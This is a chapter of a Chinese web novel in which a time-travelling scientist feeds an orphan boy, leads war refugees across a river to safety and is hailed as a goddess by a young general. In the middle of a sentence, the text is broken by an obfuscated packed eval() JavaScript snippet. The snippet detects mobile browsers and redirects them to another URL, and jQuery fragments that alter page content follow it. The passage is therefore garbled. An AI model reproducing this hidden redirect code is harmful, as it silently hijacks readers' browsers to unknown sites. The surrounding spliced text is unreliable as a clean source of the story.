听到这熟悉的称呼,比记忆中刻意夹起来的软糯,要更真实些,黎清然不禁弯了弯唇。


    她看了他一会儿,想起什么,在身上摸了摸。


    白大褂的口袋里,还有一块压缩饼干。


    像她们这种人,一头扎进实验室就是十几个小时起步,连吃饭的功夫都没有。所以身上总会备着几块压缩饼干,随时补充能量,保证大脑不会因为低血糖而停止运转。


    她撕开包装,将一整块饼干递给他:“吃了。”


    望尘看着那块从没见过的东西,又看看她,认真地摇了摇头:“我不饿,姐姐自己留着吧。”


    “给你就拿着,补充体力。”


    望尘这才伸出手,小心翼翼地接过那块饼干:“谢谢姐姐。”他从中间掰断,将大的那块递给她:“姐姐,给,你一块我一块,我们分着吃。”


    黎清然接过,装进了包装。这种时候粮食宝贵,她又不饿,没必要浪费。


    望尘捧着属于自己的那半块,小小地咬了一口。嚼着嚼着,他的眼睛弯了弯,像是尝到了什么特别好吃的东西。


    然后,他忽然想起什么,抬起头看向黎清然:“姐姐,你怎么不吃?”


    黎清然道:“不饿,你吃吧。”


    望尘“哦”了一声,心想,神仙大概是不需要吃东西吧。便继续埋头吃他那半块。


    明明饿极了,却吃得很慢,像是在品味什么来之不易的珍品。


    但到底是孩子,眼里藏不住事,那半块饼干咽下去,腹中的饥饿非但没有消退,反而被勾得更烈。望尘抿了抿唇,快速地瞄了一眼她手里剩余的半块又迅速移开。


    黎清然看见他的目光,把那半块饼干递到他面前:“拿着,想吃就吃。”


    望尘犹豫一会儿,最终还是伸出手接了过来:“谢谢姐姐。”


    他捧着那半块饼干,没有立刻吃,想起什么,抬起头看着她道:“我叫望尘。”


    黎清然愣了一下,这才想起,现在的她于他而言还只是个陌生人,而她站在未来的角度来到过去的时空,竟从一开始就理所当然把他当成了自己人。


    “嗯。”她应了声,“黎清然。我的名字。”


    望尘把那半块饼干捧在手里,低下头小小地咬了一口,嚼着嚼着,他的眼睛又弯了弯。


    “黎清然。”他轻轻重复了一遍,像是在努力记住这三个字。


    然后,他又抬起头看她:“姐姐的名字,真好听。”


    “嗯,吃吧。”她说,“吃完我们还要赶路。”


    望尘点点头,不再说话,乖乖地一口一口吃着那半块饼干。


    黎清然靠在墙上,望着外面那片被火光映红的夜空,在心里唤了一声:“灵晔。”


    【在呢,宿主。】灵晔的声音立刻响起。


    “我们要在这个时空待多久?”


    灵晔不确定道:【我也不知道,按理来说,宿主肉身死亡后,灵魂应当回到原来的世界,但不知怎的,时间线突然紊乱了,就把您送到这里来了。】


    “能回去吗?”


    【我不知道。】灵晔的声音更轻了,带着一点歉意,【宿主,很抱歉,我没有能力直接带您回去,但既然能来到过去,说明一定是有道理的,说不定只要我们解决东陵现在的危机就可以回去了。】


    “意思是,我们要先找到神女?”


    【对!只要跟着她,我们就一定能尽快解决所有问题。】


    “……好。”


    她站起身,走到破败的门口,朝外走去。


    外面,天色渐渐暗了下来。


    远处的喊杀声已经停了,只剩下零星的火光还在燃烧。空气里弥漫着焦糊的味道,混着血腥气,让人作呕。


    她穿来的地方,是江南。


    这里本该是本该是烟雨楼台,小桥流水,文人墨客笔下永远温柔缱绻的地方。


    可现在,满目疮痍。


    倒塌的屋舍,烧焦的梁柱,横七竖八的尸体。街上空无一人,只有野狗在暗处翻找着什么,发出低沉的呜呜声。


    黎清然回头看了一眼蜷在角落里的望尘,他也正睁大眼睛看着她。


    她的脚步顿了一下,带他出去,太危险。可把他一个人留在这里,她又放心不下。


    她沉默了一瞬,走回去,在他面前蹲下。


    “害怕吗?”她问。


    望尘摇摇头:“不怕,我不怕死。我一个人流浪很多年了,我可以照顾好自己,不会给姐姐添麻烦的。”


    “好。”她握住他的手,“我现在要出去看看,你乖乖跟我一起,不要松开我的手。”


    望尘用力点头,握紧她的手:“我会的!我会很听话很听话!”


    “走。”黎清然牵着他,朝破屋外面走去。


    之后的日子,像是一场漫长没有尽头的逃亡。


    黎清然带着望尘,穿行在这片被战火蹂躏的土地上。


    白天赶路,夜里躲藏。遇到西邶士兵就绕道,绕不开就杀。她箭术精准,身手利落,下手果断,从不犹豫。


    望尘始终跟在她身后,一步不落。黎清然停下来休息时,他就乖乖坐在旁边,安安静静的,看她的眼神满是崇拜的光。饿了,就啃她给的干粮。渴了,就喝她给的水。困了,就靠在她身边。


    他从不问她给他的那些吃食是从哪来的,也不问她要做什么,只是一直跟着她。


    所到之处,她看到有孩子趴在母亲尸体旁哭,就停下来,给他吃的,带他一起走;看到有老人被困在倒塌的屋梁下,就搬开那些烧焦的木头,把他拖出来;看到有受伤的人倒在路边呻吟,就蹲下来,用白大褂撕成的布条帮他包扎。


    一开始,那些人只是呆呆地看着她。


    看她穿着奇奇怪怪的白色衣裳,面无表情地做着那些事,就像在做一件理所当然的事。


    之后,有人开始跟着她。


    一个,五个,十个,三十个……


    他们跟着黎清然走,跟着她躲过西邶的搜捕,找到安全的藏身之处。


    慢慢的,队伍越来越壮大。里面有老人,有孩子,有妇人,有伤兵,还有那些侥幸活下来却不知道该往哪里去的流民。


    之后,为了给她减轻负担,有人自发地走在前面探路,有人主动搀扶走不动的老人,有的跟他一起引开杀死追兵……没有人指挥,更没有人命令,就这样自然而然地,形成了一种默契的秩序。


    一天傍晚,他们在一座废弃的村庄里歇脚。


    黎清然坐在一棵烧焦的老树下,正在为一个她从死人堆里救出来的孩子包扎伤口。望尘靠在她身边,手里捧着一块干粮,小口小口地啃着。不远处,那些跟着她的人三三两两地坐着,有人低声说话,有人望着她这边。


    望尘仰头看她,那双眼睛在昏暗的光线里亮得惊人:“姐姐,你是神仙吗?”


    “为什么这么问?”她动作不停。


    望尘想了想,认真地说:“因为你什么都不怕,什么都会。你救了那么多人,一定是神仙。”


    “是神仙。”那孩子低着头,跟望尘一般大,性情沉默寡言,一路都没开过口,上药时也没喊疼,此时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248540|196045||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却附和了一句。


    望尘像是得到了认可,开心道:“姐姐你看,他也觉得是呢。”又道:“原来你会说话啊。”


    那孩子又不说了,低着头不理人。


    黎清然看着望尘那张发自内心相信着什么的小脸。


    “不是神仙也会救人。是不是,不重要。”


    望尘似懂非懂地点了点头,往她身边挪了挪。


    “那我也要活下去。”他声音小小的,却很认真,“跟着姐姐,一起活下去。”


    黎清然低头看着他那张认真的小脸,轻轻拍了一下他的脑袋:“好。”


    一路向北,穿过被战火焚烧的田野,越过横尸遍野的官道,躲过一队又一队西邶的搜捕。老弱妇孺走不动,她就让那些还能走的青壮轮流背着;伤病者撑不住,她就从系统背包里拿出草药给他们治病。


    曾经苦学的本事,终于在这里发挥了用处。


    终于,他们到了江对岸。


    这里驻守着东陵的官兵,江面上有战船巡逻,对岸的烟火气和秩序感,和身后那片焦土是两个世界。


    渡口官兵远远看见那群乌泱泱的人,立刻警戒起来:“站住!什么人?!”


    黎清然走上前,身后的人自动停下来,没有一个人往前挤。


    “江南逃出来的。”她道,“我要见你们将领。”


    那几个哨兵愣住了。江南失守的消息,他们早就听说了。那一带几乎被屠尽,能逃出来的寥寥无几,可眼前这个穿着奇怪白衣的女子居然带了那么多人逃出来。


    其中一个哨兵转身就跑,边跑边喊:“将军!将军!外面来人了!”


    营门大开。


    驻守的将领匆匆赶来,看见那群人的时候,脸上的表情和哨兵一模一样。


    黎清然看到他,愣了一下。


    没想到在这里,会遇到年轻时的邝韦。眉眼间还带着年轻人特有的锐气,雄姿英发,那紧抿的唇角,坚毅地下颚,已隐隐有了几分日后让人不敢直视的气势。


    她走上前,朝他拱了拱手:“将军,这些是江南逃出来的百姓。一路跟着我走过来的。劳烦您安置。”


    年轻的将军半天说不出话,看看黎清然,又看看她身后那些人,再看看她身边那个瘦小的孩子。最后,他的目光落回她脸上。


    “你……噢不,您是?”


    黎清然没有说话,望尘探出个头道:“是神仙姐姐!”


    邝韦喉结滚动了一下,忽然后退一步,抱拳,躬身,行了一个大礼。


    “末将邝韦,代东陵百姓,谢过神女大人!”


    “……”黎清然愣了几秒,转过身,面向那些一路跟着她走过来的人,“跟将军进去吧。”


    沉默在暮色里蔓延了一瞬。


    然后,一个老妇人忽然走了出来。


    她头发花白,满身尘土,腿脚似乎还有伤,走得一瘸一拐。可她走到黎清然面前,停下,缓缓跪下,颤颤巍巍地,朝她磕了一个头,动作很慢,郑重得像在叩拜神祇。


    还没有等她开口,第二个跪下了。


    第三个。


    第四个。


    一片一片地,跪了下去。


    黎清然弯下腰,扶起最前面那个老妇人:“起来,不用这样。”


    老妇人抬起头,看着她,浑浊的眼睛里满是泪光:“姑娘,”她的声音颤抖着,“您一定就上天派来救我们的神女。”


    黎清然没有回答,轻轻拍了拍她的手背。然后,她直起身,望向那个还愣在原地的年轻将军:“邝将军,麻烦你了。”